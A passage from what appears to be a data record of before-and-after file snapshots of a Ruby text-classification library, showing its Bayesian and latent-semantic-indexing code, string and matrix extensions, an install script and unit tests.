highest are returned.\n    #\n    # This can be used to build a summary service, or to provide more information about\n    # your dataset's general content. For example, if you were to use categorize on the\n    # results of this data, you could gather information on what your dataset is generally \n    # about.\n    def highest_relative_content( max_chunks=10 )\n       return [] if needs_rebuild?\n       \n       avg_density = Hash.new\n       @items.each_key { |x| avg_density[x] = proximity_array_for_content(x).inject(0.0) { |x,y| x + y[1]} }\n       \n       avg_density.keys.sort_by { |x| avg_density[x] }.reverse[0..max_chunks-1].map\n    end\n\n    # This function is the primitive that find_related and classify \n    # build upon. It returns an array of 2-element arrays. The first element\n    # of this array is a document, and the second is its \"score\", defining\n    # how \"close\" it is to other indexed items.\n    # \n    # These values are somewhat arbitrary, having to do with the vector space\n    # created by your content, so the magnitude is interpretable but not always\n    # meaningful between indexes. \n    #\n    # The parameter doc is the content to compare. If that content is not\n    # indexed, you can pass an optional block to define how to create the \n    # text data. See add_item for examples of how this works. \n    def proximity_array_for_content( doc, &block )\n      return [] if needs_rebuild?\n      \n      content_node = node_for_content( doc, &block )\n      result = \n        @items.keys.collect do |item|\n          if $GSL\n             val = content_node.search_vector * @items[item].search_vector.col\n          else\n             val = (Matrix[content_node.search_vector] * @items[item].search_vector)[0]\n          end\n          [item, val]\n        end\n      result.sort_by { |x| x[1] }.reverse\n    end \n    \n    # Similar to proximity_array_for_content, this function takes similar\n    # arguments and returns a similar array. However, it uses the normalized\n    # calculated vectors instead of their full versions. This is useful when \n    # you're trying to perform operations on content that is much smaller than\n    # the text you're working with. search uses this primitive.\n    def proximity_norms_for_content( doc, &block )\n      return [] if needs_rebuild?\n  \n      content_node = node_for_content( doc, &block )\n      result = \n        @items.keys.collect do |item|\n          if $GSL\n            val = content_node.search_norm * @items[item].search_norm.col\n          else\n            val = (Matrix[content_node.search_norm] * @items[item].search_norm)[0]\n          end\n          [item, val]\n        end\n      result.sort_by { |x| x[1] }.reverse\n    end \n    \n    # This function allows for text-based search of your index. Unlike other functions\n    # like find_related and classify, search only takes short strings. It will also ignore\n    # factors like repeated words. It is best for short, google-like search terms. \n    # A search will first priortize lexical relationships, then semantic ones. \n    #\n    # While this may seem backwards compared to the other functions that LSI supports,\n    # it is actually the same algorithm, just applied on a smaller document.\n    def search( string, max_nearest=3 )\n      return [] if needs_rebuild?\n      carry = proximity_norms_for_content( string )\n      result = carry.collect { |x| x[0] }\n      return result[0..max_nearest-1]\n    end\n    \n    # This function takes content and finds other documents\n    # that are semantically \"close\", returning an array of documents sorted\n    # from most to least relavant.\n    # max_nearest specifies the number of documents to return. A value of \n    # 0 means that it returns all the indexed documents, sorted by relavence. \n    #\n    # This is particularly useful for identifing clusters in your document space. \n    # For example you may want to identify several \"What's Related\" items for weblog\n    # articles, or find paragraphs that relate to each other in an essay.\n    def find_related( doc, max_nearest=3, &block )\n      carry = \n        proximity_array_for_content( doc, &block ).reject { |pair| pair[0] == doc }\n      result = carry.collect { |x| x[0] }\n      return result[0..max_nearest-1]\n    end\n      \n    # This function uses a voting system to categorize documents, based on \n    # the categories of other documents. It uses the same logic as the \n    # find_related function to find related documents, then returns the\n    # most obvious category from this list. \n    #\n    # cutoff signifies the number of documents to consider when clasifying \n    # text. A cutoff of 1 means that every document in the index votes on \n    # what category the document is in. This may not always make sense.\n    #\n    def classify( doc, cutoff=0.30, &block )\n      icutoff = (@items.size * cutoff).round\n      carry = proximity_array_for_content( doc, &block )\n      carry = carry[0..icutoff-1]\n      votes = {}\n      carry.each do |pair|\n        categories = @items[pair[0]].categories\n        categories.each do |category| \n          votes[category] ||= 0.0\n          votes[category] += pair[1] \n        end\n      end\n      \n      ranking = votes.keys.sort_by { |x| votes[x] }\n      return ranking[-1]\n    end\n    \n    # Prototype, only works on indexed documents.\n    # I have no clue if this is going to work, but in theory\n    # it's supposed to.\n    def highest_ranked_stems( doc, count=3 )\n      raise \"Requested stem ranking on non-indexed content!\" unless @items[doc]\n      arr = node_for_content(doc).lsi_vector.to_a\n      top_n = arr.sort.reverse[0..count-1]\n      return top_n.collect { |x| @word_list.word_for_index(arr.index(x))}\n    end\n\n    private\n    def build_reduced_matrix( matrix, cutoff=0.75 )\n      # TODO: Check that M>=N on these dimensions! Transpose helps assure this\n      u, v, s = matrix.SV_decomp\n\n      # TODO: Better than 75% term, please. :\\\n      s_cutoff = s.sort.reverse[(s.size * cutoff).round - 1]\n      s.size.times do |ord|\n        s[ord] = 0.0 if s[ord] < s_cutoff\n      end\n      # Reconstruct the term document matrix, only with reduced rank\n      u * ($GSL ? GSL::Matrix : ::Matrix).diag( s ) * v.trans\n    end\n    \n    def node_for_content(item, &block)    \n      if @items[item]\n        return @items[item]\n      else\n        clean_word_hash = block ? block.call(item).clean_word_hash : item.to_s.clean_word_hash\n\n        cn = ContentNode.new(clean_word_hash, &block) # make the node and extract the data\n\n        unless needs_rebuild?\n          cn.raw_vector_with( @word_list ) # make the lsi raw and norm vectors\n        end\n      end\n      \n      return cn\n    end\n    \n    def make_word_list\n      @word_list = WordList.new\n      @items.each_value do |node|\n        node.word_hash.each_key { |key| @word_list.add_word key }\n      end\n    end\n\n  end\nend\n\n", "lib/classifier/lsi/content_node.rb": "# Author::    David Fayram  (mailto:dfayram@lensmen.net)\n# Copyright:: Copyright (c) 2005 David Fayram II\n# License::   LGPL\n\nmodule Classifier\n\n# This is an internal data structure class for the LSI node. Save for \n# raw_vector_with, it should be fairly straightforward to understand.\n# You should never have to use it directly.\n  class ContentNode\n    attr_accessor :raw_vector, :raw_norm, \n                  :lsi_vector, :lsi_norm,\n                  :categories   \n    \n    attr_reader :word_hash\n    # If text_proc is not specified, the source will be duck-typed\n    # via source.to_s\n    def initialize( word_hash, *categories )\n      @categories = categories || []\n      @word_hash = word_hash\n    end\n   \n    # Use this to fetch the appropriate search vector.\n    def search_vector\n      @lsi_vector || @raw_vector\n    end\n    \n    # Use this to fetch the appropriate search vector in normalized form.\n    def search_norm\n      @lsi_norm || @raw_norm\n    end\n   \n    # Creates the raw vector out of word_hash using word_list as the\n    # key for mapping the vector space.\n    def raw_vector_with( word_list )\n      if $GSL\n         vec = GSL::Vector.alloc(word_list.size)\n      else\n         vec = Array.new(word_list.size, 0)\n      end\n\n      @word_hash.each_key do |word|\n        vec[word_list[word]] = @word_hash[word] if word_list[word]\n      end\n     \n      # Perform the scaling transform\n      total_words = vec.sum\n      \n      # Perform first-order association transform if this vector has more\n      # than one word in it. \n      if total_words > 1.0 \n        weighted_total = 0.0\n        vec.each do |term|\n          if ( term > 0 )\n            weighted_total += (( term / total_words ) * Math.log( term / total_words ))\n          end\n        end \n        vec = vec.collect { |val| Math.log( val + 1 ) / -weighted_total }\n      end\n      \n      if $GSL\n         @raw_norm   = vec.normalize\n         @raw_vector = vec\n      else\n         @raw_norm   = Vector[*vec].normalize\n         @raw_vector = Vector[*vec]\n      end\n    end   \n  \n  end  \n  \nend\n", "lib/classifier/lsi/summary.rb": "# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nclass String\n   def summary( count=10, separator=\" [...] \" )\n      perform_lsi split_sentences, count, separator\n   end\n\n   def paragraph_summary( count=1, separator=\" [...] \" )\n      perform_lsi split_paragraphs, count, separator\n   end\n\n   def split_sentences\n      split /(\\.|\\!|\\?)/ # TODO: make this less primitive\n   end\n   \n   def split_paragraphs\n      split /(\\n\\n|\\r\\r|\\r\\n\\r\\n)/ # TODO: make this less primitive\n   end\n   \n   private\n   \n   def perform_lsi(chunks, count, separator)\n      lsi = Classifier::LSI.new :auto_rebuild => false\n      chunks.each { |chunk| lsi << chunk unless chunk.strip.empty? || chunk.strip.split.size == 1 }\n      lsi.build_index\n      summaries = lsi.highest_relative_content count\n      return summaries.reject { |chunk| !summaries.include? chunk }.map { |x| x.strip }.join(separator)\n   end\nend", "lib/classifier/lsi/word_list.rb": "# Author::    David Fayram  (mailto:dfayram@lensmen.net)\n# Copyright:: Copyright (c) 2005 David Fayram II\n# License::   LGPL\n\nmodule Classifier  \n  # This class keeps a word => index mapping. It is used to map stemmed words\n  # to dimensions of a vector.\n    \n  class WordList\n    def initialize\n      @location_table = Hash.new\n    end\n    \n    # Adds a word (if it is new) and assigns it a unique dimension.\n    def add_word(word)\n      term = word\n      @location_table[term] = @location_table.size unless @location_table[term]\n    end\n    \n    # Returns the dimension of the word or nil if the word is not in the space.\n    def [](lookup)\n      term = lookup\n      @location_table[term]\n    end\n    \n    def word_for_index(ind)\n      @location_table.invert[ind]\n    end\n    \n    # Returns the number of words mapped.\n    def size\n      @location_table.size\n    end\n    \n  end\nend\n", "test/bayes/bayesian_test.rb": "require File.dirname(__FILE__) + '/../test_helper'\nclass BayesianTest < Test::Unit::TestCase\n\tdef setup\n\t\t@classifier = Classifier::Bayes.new 'Interesting', 'Uninteresting'\n\tend\n\t\n\tdef test_good_training\n\t\tassert_nothing_raised { @classifier.train_interesting \"love\" }\n\tend\n\n\tdef test_bad_training\n\t\tassert_raise(StandardError) { @classifier.train_no_category \"words\" }\n\tend\n\t\n\tdef test_bad_method\n\t\tassert_raise(NoMethodError) { @classifier.forget_everything_you_know \"\" }\n\tend\n\t\n\tdef test_categories\n\t\tassert_equal ['Interesting', 'Uninteresting'].sort, @classifier.categories.sort\n\tend\n\n\tdef test_add_category\n\t\t@classifier.add_category 'Test'\n\t\tassert_equal ['Test', 'Interesting', 'Uninteresting'].sort, @classifier.categories.sort\n\tend\n\n\tdef test_classification\n\t\t@classifier.train_interesting \"here are some good words. I hope you love them\"\n\t\t@classifier.train_uninteresting \"here are some bad words, I hate you\"\n\t\tassert_equal 'Uninteresting', @classifier.classify(\"I hate bad words and you\")\n\tend\nend", "test/extensions/word_hash_test.rb": "require File.dirname(__FILE__) + '/../test_helper'\nclass StringExtensionsTest < Test::Unit::TestCase\n\tdef test_word_hash\n\t\thash = {:good=>1, :\"!\"=>1, :hope=>1, :\"'\"=>1, :\".\"=>1, :love=>1, :word=>1, :them=>1, :test=>1}\n\t\tassert_equal hash, \"here are some good words of test's. I hope you love them!\".word_hash\n\tend\n\n   \t\n\tdef test_clean_word_hash\n\t   hash = {:good=>1, :word=>1, :hope=>1, :love=>1, :them=>1, :test=>1}\n\t   assert_equal hash, \"here are some good words of test's. I hope you love them!\".clean_word_hash\n\tend\n\nend\n\n\nclass ArrayExtensionsTest < Test::Unit::TestCase\n\n  def test_plays_nicely_with_any_array\n    assert_equal [Array].sum, Array\n  end\n\n  def test_monkey_path_array_sum\n    assert_equal [1,2,3].sum, 6\n  end\n\n  def test_summing_an_empty_array\n    assert_equal [nil].sum, 0\n  end\n\n  def test_summing_an_empty_array\n    assert_equal Array[].sum, 0\n  end\n\nend\n", "test/lsi/lsi_test.rb": "require File.dirname(__FILE__) + '/../test_helper'\nclass LSITest < Test::Unit::TestCase\n\tdef setup\n\t  # we repeat principle words to help weight them. \n\t  # This test is rather delicate, since this system is mostly noise.\n     @str1 = \"This text deals with dogs. Dogs.\"\n\t  @str2 = \"This text involves dogs too. Dogs! \"\n\t  @str3 = \"This text revolves around cats. Cats.\"\n\t  @str4 = \"This text also involves cats. Cats!\"\n\t  @str5 = \"This text involves birds. Birds.\"\n\tend\n\t\n\tdef test_basic_indexing\n\t lsi = Classifier::LSI.new\n\t  [@str1, @str2, @str3, @str4, @str5].each { |x| lsi << x }\n\t  assert ! lsi.needs_rebuild?\n\t  \n\t # note that the closest match to str1 is str2, even though it is not\n\t # the closest text match.\n\t assert_equal [@str2, @str5, @str3], lsi.find_related(@str1, 3)\n\tend\n\n\tdef test_not_auto_rebuild\n\t lsi = Classifier::LSI.new :auto_rebuild => false\n\t lsi.add_item @str1, \"Dog\"\n\t lsi.add_item @str2, \"Dog\"\n\t assert lsi.needs_rebuild?\n\t lsi.build_index\n\t assert ! lsi.needs_rebuild?\n\tend\n\n\tdef test_basic_categorizing\n\t  lsi = Classifier::LSI.new\n\t  lsi.add_item @str2, \"Dog\"\n\t  lsi.add_item @str3, \"Cat\"\n\t  lsi.add_item @str4, \"Cat\"\n\t  lsi.add_item @str5, \"Bird\"\n\t  \n\t  assert_equal \"Dog\", lsi.classify( @str1 )\n\t  assert_equal \"Cat\", lsi.classify( @str3 )\n     assert_equal \"Bird\", lsi.classify( @str5 )  \n\tend\n\t\n\tdef test_external_classifying\n\t  lsi = Classifier::LSI.new\n\t  bayes = Classifier::Bayes.new 'Dog', 'Cat', 'Bird'\n\t  lsi.add_item @str1, \"Dog\" ; bayes.train_dog @str1\n\t  lsi.add_item @str2, \"Dog\" ; bayes.train_dog @str2\n\t  lsi.add_item @str3, \"Cat\" ; bayes.train_cat @str3\n\t  lsi.add_item @str4, \"Cat\" ; bayes.train_cat @str4\n\t  lsi.add_item @str5, \"Bird\" ; bayes.train_bird @str5\n\t  \n\t  # We're talking about dogs. Even though the text matches the corpus on \n\t  # cats better.  Dogs have more semantic weight than cats. So bayes\n\t  # will fail here, but the LSI recognizes content.\n\t  tricky_case = \"This text revolves around dogs.\"\n\t  assert_equal \"Dog\", lsi.classify( tricky_case )\n\t  assert_not_equal \"Dog\", bayes.classify( tricky_case )\n\tend \n\t\n\tdef test_recategorize_interface\n\t  lsi = Classifier::LSI.new\n\t  lsi.add_item @str1, \"Dog\"\n\t  lsi.add_item @str2, \"Dog\"\n\t  lsi.add_item @str3, \"Cat\"\n\t  lsi.add_item @str4, \"Cat\"\n\t  lsi.add_item @str5, \"Bird\"\n\t  \n\t  tricky_case = \"This text revolves around dogs.\"\n\t  assert_equal \"Dog\", lsi.classify( tricky_case )\n\t  \n\t  # Recategorize as needed.\n\t  lsi.categories_for(@str1).clear.push \"Cow\"\n\t  lsi.categories_for(@str2).clear.push \"Cow\"\n\n\t  assert !lsi.needs_rebuild?\n\t  assert_equal \"Cow\", lsi.classify( tricky_case )\t  \n\tend\n\t\n\tdef test_search\n\t  lsi = Classifier::LSI.new\n\t  [@str1, @str2, @str3, @str4, @str5].each { |x| lsi << x }\n\t  \n\t  # Searching by content and text, note that @str2 comes up first, because\n\t  # both \"dog\" and \"involve\" are present. But, the next match is @str1 instead\n\t  # of @str4, because \"dog\" carries more weight than involves. \n\t  assert_equal( [@str2, @str1, @str4, @str5, @str3],\n\t                lsi.search(\"dog involves\", 100) )\n\t                \n\t  # Keyword search shows how the space is mapped out in relation to \n\t  # dog when magnitude is remove. Note the relations. We move from dog\n\t  # through involve and then finally to other words. \n\t  assert_equal( [@str1, @str2, @str4, @str5, @str3],\n\t                lsi.search(\"dog\", 5) )\n\tend\n\t\n\tdef test_serialize_safe\n    lsi = Classifier::LSI.new\n\t  [@str1, @str2, @str3, @str4, @str5].each { |x| lsi << x }\n\t  \n\t  lsi_md = Marshal.dump lsi\n\t  lsi_m = Marshal.load lsi_md\n\t  \n\t  assert_equal lsi_m.search(\"cat\", 3), lsi.search(\"cat\", 3)\n\t  assert_equal lsi_m.find_related(@str1, 3), lsi.find_related(@str1, 3)\n\tend\n\t\n\tdef test_keyword_search\n\t  lsi = Classifier::LSI.new\n\t  lsi.add_item @str1, \"Dog\"\n\t  lsi.add_item @str2, \"Dog\"\n\t  lsi.add_item @str3, \"Cat\"\n\t  lsi.add_item @str4, \"Cat\"\n\t  lsi.add_item @str5, \"Bird\"\n\t\n\t  assert_equal [:dog, :text, :deal], lsi.highest_ranked_stems(@str1)\n\tend\n\t\n\tdef test_summary\n\t   assert_equal \"This text involves dogs too [...] This text also involves cats\", [@str1, @str2, @str3, @str4, @str5].join.summary(2)\n\tend\n\t  \nend", "test/test_helper.rb": "$:.unshift(File.dirname(__FILE__) + '/../lib')\n\nrequire 'test/unit'\nrequire 'classifier'"}, "files_after": {"install.rb": "require 'rbconfig'\nrequire 'find'\nrequire 'ftools'\n\ninclude Config\n\n# this was adapted from rdoc's install.rb by ways of Log4r\n\n$sitedir = CONFIG[\"sitelibdir\"]\nunless $sitedir\n  version = CONFIG[\"MAJOR\"] + \".\" + CONFIG[\"MINOR\"]\n  $libdir = File.join(CONFIG[\"libdir\"], \"ruby\", version)\n  $sitedir = $:.find {|x| x =~ /site_ruby/ }\n  if !$sitedir\n    $sitedir = File.join($libdir, \"site_ruby\")\n  elsif $sitedir !~ Regexp.quote(version)\n    $sitedir = File.join($sitedir, version)\n  end\nend\n\nmakedirs = %w{ classifier }\nmakedirs = %w{ classifier/extensions }\nmakedirs = %w{ classifier/lsi }\nmakedirs.each {|f| File::makedirs(File.join($sitedir, *f.split(/\\//)))}\n\nDir.chdir(\"lib\")\nbegin\n  require 'rubygems'\n  require 'rake'\nrescue LoadError\n  puts\n  puts \"Please install Gem and Rake from http://rubyforge.org/projects/rubygems and http://rubyforge.org/projects/rake\"\n  puts\n  exit(-1)\nend\n\nfiles = FileList[\"**/*\"]\n\n# File::safe_unlink *deprecated.collect{|f| File.join($sitedir, f.split(/\\//))}\nfiles.each {|f|\n  File::install(f, File.join($sitedir, *f.split(/\\//)), 0644, true)\n}\n\nbegin\n  require 'stemmer'\nrescue LoadError\n  puts\n  puts \"Please install Stemmer from http://rubyforge.org/projects/stemmer or via 'gem install stemmer'\"\n  puts\nend\n", "lib/classifier.rb": "#--\n# Copyright (c) 2005 Lucas Carlson\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#++\n# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nrequire 'rubygems'\nrequire 'classifier/extensions/string'\nrequire 'classifier/bayes'\nrequire 'classifier/lsi'\n", "lib/classifier/bayes.rb": "# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nmodule Classifier\n\nclass Bayes\n  # The class can be created with one or more categories, each of which will be\n  # initialized and given a training method. E.g.,\n  #      b = Classifier::Bayes.new 'Interesting', 'Uninteresting', 'Spam'\n\tdef initialize(*categories)\n\t\t@categories = Hash.new\n\t\tcategories.each { |category| @categories[category.prepare_category_name] = Hash.new }\n\t\t@total_words = 0\n                @category_counts = Hash.new(0)\n\tend\n\n\t#\n\t# Provides a general training method for all categories specified in Bayes#new\n\t# For example:\n\t#     b = Classifier::Bayes.new 'This', 'That', 'the_other'\n\t#     b.train :this, \"This text\"\n\t#     b.train \"that\", \"That text\"\n\t#     b.train \"The other\", \"The other text\"\n\tdef train(category, text)\n\t\tcategory = category.prepare_category_name\n                @category_counts[category] += 1\n\t\ttext.word_hash.each do |word, count|\n\t\t\t@categories[category][word]     ||=     0\n\t\t\t@categories[category][word]      +=     count\n\t\t\t@total_words += count\n\t\tend\n\tend\n\n\t#\n\t# Provides a untraining method for all categories specified in Bayes#new\n\t# Be very careful with this method.\n\t#\n\t# For example:\n\t#     b = Classifier::Bayes.new 'This', 'That', 'the_other'\n\t#     b.train :this, \"This text\"\n\t#     b.untrain :this, \"This text\"\n\tdef untrain(category, text)\n\t\tcategory = category.prepare_category_name\n                @category_counts[category] -= 1\n\t\ttext.word_hash.each do |word, count|\n\t\t\tif @total_words >= 0\n\t\t\t\torig = @categories[category][word]\n\t\t\t\t@categories[category][word]     ||=     0\n\t\t\t\t@categories[category][word]      -=     count\n\t\t\t\tif @categories[category][word] <= 0\n\t\t\t\t\t@categories[category].delete(word)\n\t\t\t\t\tcount = orig\n\t\t\t\tend\n\t\t\t\t@total_words -= count\n\t\t\tend\n\t\tend\n\tend\n\n\t#\n\t# Returns the scores in each category the provided +text+. E.g.,\n\t#    b.classifications \"I hate bad words and you\"\n\t#    =>  {\"Uninteresting\"=>-12.6997928013932, \"Interesting\"=>-18.4206807439524}\n\t# The largest of these scores (the one closest to 0) is the one picked out by #classify\n\tdef classifications(text)\n\t\tscore = Hash.new\n                training_count = @category_counts.values.inject { |x,y| x+y }.to_f\n\t\t@categories.each do |category, category_words|\n\t\t\tscore[category.to_s] = 0\n\t\t\ttotal = category_words.values.inject(0) {|sum, element| sum+element}\n\t\t\ttext.word_hash.each do |word, count|\n\t\t\t\ts = category_words.has_key?(word) ? category_words[word] : 0.1\n\t\t\t\tscore[category.to_s] += Math.log(s/total.to_f)\n\t\t\tend\n                        # now add prior probability for the category\n                        s = @category_counts.has_key?(category) ? @category_counts[category] : 0.1\n                        score[category.to_s] += Math.log(s / training_count)\n\t\tend\n\t\treturn score\n\tend\n\n  #\n  # Returns the classification of the provided +text+, which is one of the\n  # categories given in the initializer. E.g.,\n  #    b.classify \"I hate bad words and you\"\n  #    =>  'Uninteresting'\n\tdef classify(text)\n\t\t(classifications(text).sort_by { |a| -a[1] })[0][0]\n\tend\n\n\t#\n\t# Provides training and untraining methods for the categories specified in Bayes#new\n\t# For example:\n\t#     b = Classifier::Bayes.new 'This', 'That', 'the_other'\n\t#     b.train_this \"This text\"\n\t#     b.train_that \"That text\"\n\t#     b.untrain_that \"That text\"\n\t#     b.train_the_other \"The other text\"\n\tdef method_missing(name, *args)\n\t\tcategory = name.to_s.gsub(/(un)?train_([\\w]+)/, '\\2').prepare_category_name\n\t\tif @categories.has_key? category\n\t\t\targs.each { |text| eval(\"#{$1}train(category, text)\") }\n\t\telsif name.to_s =~ /(un)?train_([\\w]+)/\n\t\t\traise StandardError, \"No such category: #{category}\"\n\t\telse\n\t    super  #raise StandardError, \"No such method: #{name}\"\n\t\tend\n\tend\n\n\t#\n\t# Provides a list of category names\n\t# For example:\n\t#     b.categories\n\t#     =>   ['This', 'That', 'the_other']\n\tdef categories # :nodoc:\n\t\t@categories.keys.collect {|c| c.to_s}\n\tend\n\n\t#\n\t# Allows you to add categories to the classifier.\n\t# For example:\n\t#     b.add_category \"Not spam\"\n\t#\n\t# WARNING: Adding categories to a trained classifier will\n\t# result in an undertrained category that will tend to match\n\t# more criteria than the trained selective categories. In short,\n\t# try to initialize your categories at initialization.\n\tdef add_category(category)\n\t\t@categories[category.prepare_category_name] = Hash.new\n\tend\n\n\talias append_category add_category\nend\n\nend\n", "lib/classifier/extensions/vector.rb": "# Author::    Ernest Ellingson\n# Copyright:: Copyright (c) 2005\n\n# These are extensions to the std-lib 'matrix' to allow an all ruby SVD\n\nrequire 'matrix'\nrequire 'mathn'\n\nclass Array\n  def sum(identity = 0, &block)\n    return identity unless size > 0\n\n    if block_given?\n      map(&block).sum\n    else\n      reduce(:+)\n    end\n  end\nend\n\nclass Vector\n  def magnitude\n    sumsqs = 0.0\n    self.size.times do |i|\n      sumsqs += self[i] ** 2.0\n    end\n    Math.sqrt(sumsqs)\n  end\n  def normalize\n    nv = []\n    mag = self.magnitude\n    self.size.times do |i|\n\n      nv << (self[i] / mag)\n\n    end\n    Vector[*nv]\n  end\nend\n\nclass Matrix\n  def Matrix.diag(s)\n     Matrix.diagonal(*s)\n  end\n\n  alias :trans :transpose\n\n  def SV_decomp(maxSweeps = 20)\n    if self.row_size >= self.column_size\n      q = self.trans * self\n    else\n      q = self * self.trans\n    end\n\n    qrot    = q.dup\n    v       = Matrix.identity(q.row_size)\n    azrot   = nil\n    mzrot   = nil\n    cnt     = 0\n    s_old   = nil\n    mu      = nil\n\n    while true do\n      cnt += 1\n      for row in (0...qrot.row_size-1) do\n        for col in (1..qrot.row_size-1) do\n          next if row == col\n          h = Math.atan((2 * qrot[row,col])/(qrot[row,row]-qrot[col,col]))/2.0\n          hcos = Math.cos(h)\n          hsin = Math.sin(h)\n          mzrot = Matrix.identity(qrot.row_size)\n          mzrot[row,row] = hcos\n          mzrot[row,col] = -hsin\n          mzrot[col,row] = hsin\n          mzrot[col,col] = hcos\n          qrot = mzrot.trans * qrot * mzrot\n          v = v * mzrot\n        end\n      end\n      s_old = qrot.dup if cnt == 1\n      sum_qrot = 0.0\n      if cnt > 1\n        qrot.row_size.times do |r|\n          sum_qrot += (qrot[r,r]-s_old[r,r]).abs if (qrot[r,r]-s_old[r,r]).abs > 0.001\n        end\n        s_old = qrot.dup\n      end\n      break if (sum_qrot <= 0.001 and cnt > 1) or cnt >= maxSweeps\n    end # of do while true\n    s = []\n    qrot.row_size.times do |r|\n      s << Math.sqrt(qrot[r,r])\n    end\n    #puts \"cnt = #{cnt}\"\n    if self.row_size >= self.column_size\n      mu = self *  v * Matrix.diagonal(*s).inverse\n      return [mu, v, s]\n    else\n      puts v.row_size\n      puts v.column_size\n      puts self.row_size\n      puts self.column_size\n      puts s.size\n\n      mu = (self.trans * v *  Matrix.diagonal(*s).inverse)\n      return [mu, v, s]\n    end\n  end\n  def []=(i,j,val)\n    @rows[i][j] = val\n  end\nend\n", "lib/classifier/extensions/vector_serialize.rb": "module GSL\n\n  class Vector\n    def _dump(v)\n      Marshal.dump( self.to_a )\n    end\n\n    def self._load(arr)\n      arry = Marshal.load(arr)\n      return GSL::Vector.alloc(arry)\n    end\n\n  end\n\n  class Matrix\n     class <<self\n        alias :diag :diagonal\n     end\n  end\nend\n", "lib/classifier/extensions/word_hash.rb": "# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nrequire \"set\"\n\n# These are extensions to the String class to provide convenience\n# methods for the Classifier package.\nclass String\n\n  # Removes common punctuation symbols, returning a new string.\n  # E.g.,\n  #   \"Hello (greeting's), with {braces} < >...?\".without_punctuation\n  #   => \"Hello  greetings   with  braces         \"\n  def without_punctuation\n    tr( ',?.!;:\"@#$%^&*()_=+[]{}\\|<>/`~', \" \" ) .tr( \"'\\-\", \"\")\n  end\n\n  # Return a Hash of strings => ints. Each word in the string is stemmed,\n  # interned, and indexes to its frequency in the document.\n\tdef word_hash\n\t\tword_hash = clean_word_hash()\n\t\tsymbol_hash = word_hash_for_symbols(gsub(/[\\w]/,\" \").split)\n\t\treturn word_hash.merge(symbol_hash)\n\tend\n\n\t# Return a word hash without extra punctuation or short symbols, just stemmed words\n\tdef clean_word_hash\n\t\tword_hash_for_words gsub(/[^\\w\\s]/,\"\").split\n\tend\n\n\tprivate\n\n\tdef word_hash_for_words(words)\n\t\td = Hash.new(0)\n\t\twords.each do |word|\n\t\t\tword.downcase!\n\t\t\tif ! CORPUS_SKIP_WORDS.include?(word) && word.length > 2\n\t\t\t\td[word.stem.intern] += 1\n\t\t\tend\n\t\tend\n\t\treturn d\n\tend\n\n\n\tdef word_hash_for_symbols(words)\n\t\td = Hash.new(0)\n\t\twords.each do |word|\n\t\t\td[word.intern] += 1\n\t\tend\n\t\treturn d\n\tend\n\n\tCORPUS_SKIP_WORDS = Set.new([\n      \"a\",\n      \"again\",\n      \"all\",\n      \"along\",\n      \"are\",\n      \"also\",\n      \"an\",\n      \"and\",\n      \"as\",\n      \"at\",\n      \"but\",\n      \"by\",\n      \"came\",\n      \"can\",\n      \"cant\",\n      \"couldnt\",\n      \"did\",\n      \"didn\",\n      \"didnt\",\n      \"do\",\n      \"doesnt\",\n      \"dont\",\n      \"ever\",\n      \"first\",\n      \"from\",\n      \"have\",\n      \"her\",\n      \"here\",\n      \"him\",\n      \"how\",\n      \"i\",\n      \"if\",\n      \"in\",\n      \"into\",\n      \"is\",\n      \"isnt\",\n      \"it\",\n      \"itll\",\n      \"just\",\n      \"last\",\n      \"least\",\n      \"like\",\n      \"most\",\n      \"my\",\n      \"new\",\n      \"no\",\n      \"not\",\n      \"now\",\n      \"of\",\n      \"on\",\n      \"or\",\n      \"should\",\n      \"sinc\",\n      \"so\",\n      \"some\",\n      \"th\",\n      \"than\",\n      \"this\",\n      \"that\",\n      \"the\",\n      \"their\",\n      \"then\",\n      \"those\",\n      \"to\",\n      \"told\",\n      \"too\",\n      \"true\",\n      \"try\",\n      \"until\",\n      \"url\",\n      \"us\",\n      \"were\",\n      \"when\",\n      \"whether\",\n      \"while\",\n      \"with\",\n      \"within\",\n      \"yes\",\n      \"you\",\n      \"youll\",\n      ])\nend\n", "lib/classifier/lsi.rb": "# Author::    David Fayram  (mailto:dfayram@lensmen.net)\n# Copyright:: Copyright (c) 2005 David Fayram II\n# License::   LGPL\n\nbegin\n   raise LoadError if ENV['NATIVE_VECTOR'] == \"true\" # to test the native vector class, try `rake test NATIVE_VECTOR=true`\n\n   require 'gsl' # requires http://rb-gsl.rubyforge.org/\n   require 'classifier/extensions/vector_serialize'\n   $GSL = true\n\nrescue LoadError\n\twarn \"Notice: for 10x faster LSI support, please install http://rb-gsl.rubyforge.org/\"\n\trequire 'classifier/extensions/vector'\nend\n\nrequire 'classifier/lsi/word_list'\nrequire 'classifier/lsi/content_node'\nrequire 'classifier/lsi/summary'\n\nmodule Classifier\n\n  # This class implements a Latent Semantic Indexer, which can search, classify and cluster\n  # data based on underlying semantic relations. For more information on the algorithms used,\n  # please consult Wikipedia[http://en.wikipedia.org/wiki/Latent_Semantic_Indexing].\n  class LSI\n\n    attr_reader :word_list\n    attr_accessor :auto_rebuild\n\n    # Create a 